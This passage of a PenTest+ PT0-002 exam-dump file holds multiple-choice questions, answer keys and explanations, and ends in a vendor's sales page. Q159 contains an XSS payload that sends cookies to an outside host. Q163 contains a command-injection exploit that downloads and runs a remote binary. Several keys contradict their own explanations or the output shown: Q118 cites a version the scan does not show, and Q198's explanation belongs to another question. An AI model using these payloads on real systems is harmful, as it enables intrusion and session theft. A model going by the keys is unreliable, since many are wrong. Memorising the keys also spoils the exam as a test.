- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

**Answer: C**

**NEW QUESTION 118**

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankweb.service.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

**Answer: D**

**Explanation:**

Based on these results, the most likely attack to succeed is a Heartbleed attack. The Heartbleed attack is a vulnerability in the OpenSSL implementation of the TLS/SSL protocol that allows an attacker to read the

memory of the server and potentially steal sensitive information, such as private keys, passwords, or session tokens. The results show that the website is using OpenSSL 1.0.1f, which is vulnerable to the Heartbleed attack1.

**NEW QUESTION 120**

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial\_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manage/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

**Answer:** D

**NEW QUESTION 121**

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

**Answer:** A

**Explanation:**

Clarifying the statement of work is one of the most important items to develop fully prior to beginning the penetration testing activities, as it defines the scope, objectives, deliverables, and expectations of the engagement. The statement of work is a formal document that outlines the agreement between the penetration tester and the client and serves as a reference for both parties throughout the engagement. It should include details such as the type, duration, and frequency of testing, the target systems and networks, the authorized methods and tools, the reporting format and schedule, and any legal or ethical considerations.

**NEW QUESTION 122**

A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

- A. Badge cloning
- B. Dumpster diving
- C. Tailgating
- D. Shoulder surfing

**Answer:** B

**NEW QUESTION 123**

The following line-numbered Python code snippet is being used in reconnaissance:

```
...
<LINE NUM.>
<01> portList: list[int] = [*range(1, 1025)]
<02> random.shuffle(portList)
<03> try:
<04>     port: int
<05>     resultList: list[int] = []
<06>     for port on portList:
<07>         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<08>         sock.settimeout(0.01)
<09>         result = sock.connect_ex((remoteSvr, port))
<10>         if result == 0:
<11>             resultList.append(port)
<12>         sock.close()
...
```

Which of the following line numbers from the script MOST likely contributed to the script triggering a “probable port scan” alert in the organization's IDS?

- A. Line 01
- B. Line 02
- C. Line 07
- D. Line 08

**Answer:** D

**NEW QUESTION 125**

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

- A. PLCs will not act upon commands injected over the network.
- B. Supervisors and controllers are on a separate virtual network by default.
- C. Controllers will not validate the origin of commands.

D. Supervisory systems will detect a malicious injection of code/commands.

**Answer:** C

**Explanation:**

PLCs are programmable logic controllers that execute logic operations on input signals from sensors and output signals to actuators. They are often connected to supervisory systems that provide human-machine interfaces and data acquisition functions. If both systems are connected to the company intranet, they are exposed to potential attacks from internal or external adversaries. A valid assumption is that controllers will not validate the origin of commands, meaning that an attacker can send malicious commands to manipulate or sabotage the industrial process. The other assumptions are not valid because they contradict the facts or common practices.

**NEW QUESTION 128**

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

**Answer:** BD

**NEW QUESTION 131**

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

- A. Direct-to-origin
- B. Cross-site scripting
- C. Malware injection
- D. Credential harvesting

**Answer:** C

**Explanation:**

Malware injection is the most likely cloud attack that the penetration tester implemented, as it involves adding a fake VM instance to the IaaS component of the client's VM. Malware injection is a type of attack that exploits vulnerabilities in cloud services or applications to inject malicious code or data into them. The injected malware can then compromise or control the cloud resources or data.

**NEW QUESTION 132**

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

**Answer:** D

**Explanation:**

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

**NEW QUESTION 134**

A company provided the following network scope for a penetration test:

- \* 169.137.1.0/24
- \* 221.10.1.0/24
- \* 149.14.1.0/24

A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

- A. The company that requested the penetration test
- B. The penetration testing company
- C. The target host's owner
- D. The penetration tester
- E. The subcontractor supporting the test

**Answer:** A

**Explanation:**

The company that requested the penetration test is responsible for providing the correct and accurate network scope for the test. The network scope defines the boundaries and limitations of the test, such as which IP addresses, domains, systems, or networks are in scope or out of scope. If the company provided an incorrect network scope that included an IP address that belongs to a third party, then it is responsible for this mistake. The penetration testing company, the target host's owner, the penetration tester, and the subcontractor supporting the test are not responsible for this mistake, as they relied on the network scope provided by the company that requested the penetration test.

**NEW QUESTION 139**

Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?

- A. Implementation of patching and change control programs
- B. Revision of client scripts used to perform system updates
- C. Remedial training for the client's systems administrators
- D. Refrainment from patching systems until quality assurance approves

**Answer:** A

**Explanation:**

The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications<sup>1</sup>, or Git, which is a tool that can track and control changes to source code or files<sup>2</sup>. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client's systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

**NEW QUESTION 140**

A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?

- A. Hydra
- B. John the Ripper
- C. Cain and Abel
- D. Medusa

**Answer:** D

**Explanation:**

Both Hydra and Medusa can be used for that same purpose:

THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.

Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.

**NEW QUESTION 145**

Company.com has hired a penetration tester to conduct a phishing test. The tester wants to set up a fake log-in page and harvest credentials when target employees click on links in a phishing email. Which of the following commands would best help the tester determine which cloud email provider the log-in page needs to mimic?

- A. dig company.com MX
- B. whois company.com
- C. cur1 www.company.com
- D. dig company.com A

**Answer:** A

**Explanation:**

The dig command is a tool that can be used to query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records. The MX option specifies that the query is for mail exchange records, which are records that indicate the mail servers responsible for accepting email messages for a domain. Therefore, the command dig company.com MX would best help the tester determine which cloud email provider the log-in page needs to mimic by showing the mail servers for company.com. For example, if the output shows something like company-com.mail.protection.outlook.com, then it

means that company.com uses Microsoft Outlook as its cloud email provider. The other commands are not as useful for determining the cloud email provider. The whois command is a tool that can be used to query domain name registration information, such as the owner, registrar, or expiration date of a domain. The curl command is a tool that can be used to transfer data from or to a server using various protocols, such as HTTP, FTP, or SMTP. The dig command with the A option specifies that the query is for address records, which are records that map domain names to IP addresses.

**NEW QUESTION 147**

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

```
* Connected to 10.2.11.144 (:::1) port 80 (#0)
> GET /readme.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

**Answer: C**

**Explanation:**

WPScan is a tool that can be used to scan WordPress sites for vulnerabilities, such as outdated plugins, themes, or core files, misconfigured settings, weak passwords, or user enumeration. The curl command reveals that the site is running WordPress and has a readme.html file that may disclose the version number. Therefore, WPScan would be the best tool to use to explore this site further. Burp Suite is a tool that can be used to intercept and modify web requests and responses, but it does not specialize in WordPress scanning. DirBuster is a tool that can be used to brute-force directories and files on web servers, but it does not exploit WordPress vulnerabilities. OWASP ZAP is a tool that can be used to perform web application security testing, but it does not focus on WordPress scanning.

**NEW QUESTION 149**

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

- A. The penetration tester conducts a retest.
- B. The penetration tester deletes all scripts from the client machines.
- C. The client applies patches to the systems.
- D. The client clears system logs generated during the test.

**Answer: C**

**NEW QUESTION 152**

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the -o, -p22, and -sC options set against the target
- B. Run nmap with the -sV and -p22 options set against the target
- C. Run nmap with the --script vulners option set against the target
- D. Run nmap with the -sA option set against the target

**Answer: C**

**Explanation:**

Running nmap with the --script vulners option set against the target would best support the task of identifying CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running, as it will use an NSE script that checks for vulnerabilities based on version information from various sources, such as CVE databases2. The --script option allows users to specify which NSE scripts to run during an Nmap scan.

**NEW QUESTION 157**

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

**Answer: B**

#### NEW QUESTION 159

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

**Answer: CE**

#### Explanation:

Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

#### NEW QUESTION 163

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

```
exploit = “POST ”
```

```
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
```

```
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}&loginUser=a&Pwd=a”
```

```
exploit += “HTTP/1.1”
```

Which of the following commands should the penetration tester run post-engagement?

- A. grep -v apache ~/.bash\_history > ~/.bash\_history
- B. rm -rf /tmp/apache
- C. chmod 600 /tmp/apache
- D. taskkill /IM “apache” /F

**Answer: B**

#### Explanation:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

➤ cd /tmp: change the current directory to /tmp

➤ wget

http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

➤ ./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf

/tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

#### NEW QUESTION 168

A penetration tester learned that when users request password resets, help desk analysts change users' passwords to 123change. The penetration tester decides to brute force an internet-facing webmail to check which users are still using the temporary password. The tester configures the brute-force tool to test usernames found on a text file and the... Which of the following techniques is the penetration tester using?

- A. Password brute force attack
- B. SQL injection
- C. Password spraying
- D. Kerberoasting

**Answer: A**

**Explanation:**

The penetration tester is using a password brute force attack, which is a type of password guessing attack that involves trying many possible combinations of passwords against a single username or account. A password brute force attack can be effective when the password is known to be weak, simple, or predictable, such as a default or temporary password. In this case, the penetration tester knows that the help desk analysts change users' passwords to 123change when they request password resets, and decides to brute force the webmail with this password and a list of usernames. A password brute force attack can be done by using tools such as Hydra, which can perform parallelized login attacks against various protocols and services<sup>1</sup>. The other options are not techniques that the penetration tester is using. SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Kerberoasting is a type of attack that exploits a vulnerability in the Kerberos authentication protocol that allows an attacker to request and crack service tickets for service accounts with weak passwords.

**NEW QUESTION 172**

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

**Answer: B**

**Explanation:**

Testing with proof-of-concept code from an exploit database is the best method to support validation of the possible findings, as it will demonstrate whether the CVEs are actually exploitable on the target VoIP call manager. Proof-of-concept code is a piece of software or script that shows how an attacker can exploit a vulnerability in a system or application. An exploit database is a repository of publicly available exploits, such as Exploit Database or Metasploit.

**NEW QUESTION 173**

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. nmap -T3 192.168.0.1
- B. nmap -P0 192.168.0.1
- C. nmap -T0 192.168.0.1
- D. nmap -A 192.168.0.1

**Answer: C**

**NEW QUESTION 177**

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement multifactor authentication on all corporate applications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement an email security gateway to block spam and malware from email communications.

**Answer: A**

**Explanation:**

The simulated phishing attack showed that most of the employees were not able to recognize or avoid a common social engineering technique that could compromise their corporate credentials and expose sensitive data or systems. The best way to address this situation is to implement a recurring cybersecurity awareness education program for all users that covers topics such as phishing, password security, data protection, and incident reporting. This will help raise the level of security awareness and reduce the risk of falling victim to phishing attacks in the future. The other options are not as effective or feasible as educating users about phishing prevention techniques.

**NEW QUESTION 179**

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

**Answer: D**

**NEW QUESTION 184**

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. windows/x64/meterpreter/reverse\_tcp
- B. windows/x64/meterpreter/reverse\_http
- C. windows/x64/shell\_reverse\_tcp
- D. windows/x64/powershell\_reverse\_tcp
- E. windows/x64/meterpreter/reverse\_https

**Answer:** B

**Explanation:**

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

**NEW QUESTION 186**

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports
```

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 6.6.1p1
53/tcp	open	domain	dnsmasq 2.72
80/tcp	open	http	lighttpd
443/tcp	open	ssl/http	httpd

```
Service Info: OS: Linux: Device: router; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

**Answer:** B

**Explanation:**

The heart bleed bug is an open ssl bug which does not affect SSH Ref:

<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

**NEW QUESTION 190**

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

- A. Establish the format required by the client.
- B. Establish the threshold of risk to escalate to the client immediately.
- C. Establish the method of potential false positives.
- D. Establish the preferred day of the week for reporting.

**Answer:** B

**NEW QUESTION 192**

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees.

Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

**Answer:** A

**NEW QUESTION 196**

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite
- D. Ethercap

**Answer:** B

**NEW QUESTION 198**

After running the enum4linux.pl command, a penetration tester received the following output:

```

=====
| Enumerating Workgroup/Domain on 192.168.100.56 |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
| Session Check on 192.168.100.56 |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
| Getting domain SID for 192.168.100.56 |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
| Share Enumeration on 192.168.100.56 |
=====
Sharename Type Comment
-----
print$ Disk Printer Drivers
web Disk File Server
IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020

```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

**Answer: D**

**Explanation:**

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

**NEW QUESTION 199**

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

**Answer: B**

**Explanation:**

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

**NEW QUESTION 200**

An Nmap scan of a network switch reveals the following:

```

Nmap scan report for 192.168.1.254
Host is up 10.014s latency),
Not shown: 96 closed ports
Port      State  Service
22/tcp    open  ssh
23/tcp    open  telnet
60/tcp    open  http
443/tcp   open  https

```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

- A. Encrypted passwords
- B. System-hardening techniques
- C. Multifactor authentication

D. Network segmentation

**Answer:** B

#### NEW QUESTION 202

A penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment. Which of the following would most likely produce useful information for additional testing?

- A. Searching for code repositories associated with a developer who previously worked for the target company
- B. Searching for code repositories target company's organization
- C. Searching for code repositories associated with the target company's organization
- D. Searching for code repositories associated with a developer who previously worked for the target company

**Answer:** B

#### Explanation:

Code repositories are online platforms that store and manage source code and other files related to software development projects. Code repositories can contain useful information for additional testing, such as application names, versions, features, functions, vulnerabilities, dependencies, credentials, comments, or documentation. Searching for code repositories associated with the target company's organization would most likely produce useful information for additional testing, as it would reveal the software projects that the target company is working on or using, and potentially expose some weaknesses or flaws that can be exploited. Code repositories can be searched by using tools such as GitHub, GitLab, Bitbucket, or SourceForge1. The other options are not as likely to produce useful information for additional testing, as they are not directly related to the target company's software development activities. Searching for code repositories associated with a developer who previously worked for the target company may not yield any relevant or current information, as the developer may have deleted, moved, or updated their code repositories after leaving the company.

Searching for code repositories associated with the target company's competitors or customers may not yield any useful or accessible information, as they may have different or unrelated software projects, or they may have restricted or protected their code repositories from public view.

#### NEW QUESTION 205

A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?

- A. Patch installations
- B. Successful exploits
- C. Application failures
- D. Bandwidth limitations

**Answer:** B

#### Explanation:

Successful exploits could cause network disruptions, service outages, or data corruption, which could affect the connectivity and functionality of the oil rig network. Patch installations, application failures, and bandwidth limitations are less likely to be related to the penetration testing activities.

#### NEW QUESTION 209

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

**Answer:** C

#### Explanation:

A single quote (') is a common character used to test for SQL injection vulnerabilities, which occur when user input is directly passed to a database query. A single quote can terminate a string literal and allow an attacker to inject malicious SQL commands. For example, if the search form uses the query `SELECT * FROM products WHERE name LIKE '%user_input%'`, then entering a single quote as user input would result in an error or unexpected behavior.

#### NEW QUESTION 212

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

- A. Maximizing the likelihood of finding vulnerabilities
- B. Reprioritizing the goals/objectives
- C. Eliminating the potential for false positives
- D. Reducing the risk to the client environment

**Answer:** B

#### Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

#### NEW QUESTION 214

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

**Answer:** C

#### NEW QUESTION 216

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.

**Answer:** D

#### Explanation:

SMTP is a protocol associated with mail servers. Therefore, for a penetration tester, an open relay configuration can be exploited to launch phishing attacks.

#### NEW QUESTION 217

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

- A. MD5
- B. bcrypt
- C. SHA-1
- D. PBKDF2

**Answer:** A

#### NEW QUESTION 222

.....

## Thank You for Trying Our Product

\* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

\* One year free update

You can enjoy free update one year. 24x7 online support.

\* Trusted by Millions

We currently serve more than 30,000,000 customers.

\* Shop Securely

All transactions are protected by VeriSign!

**100% Pass Your PT0-002 Exam with Our Prep Materials Via below:**

<https://www.certleader.com/PT0-002-dumps.html>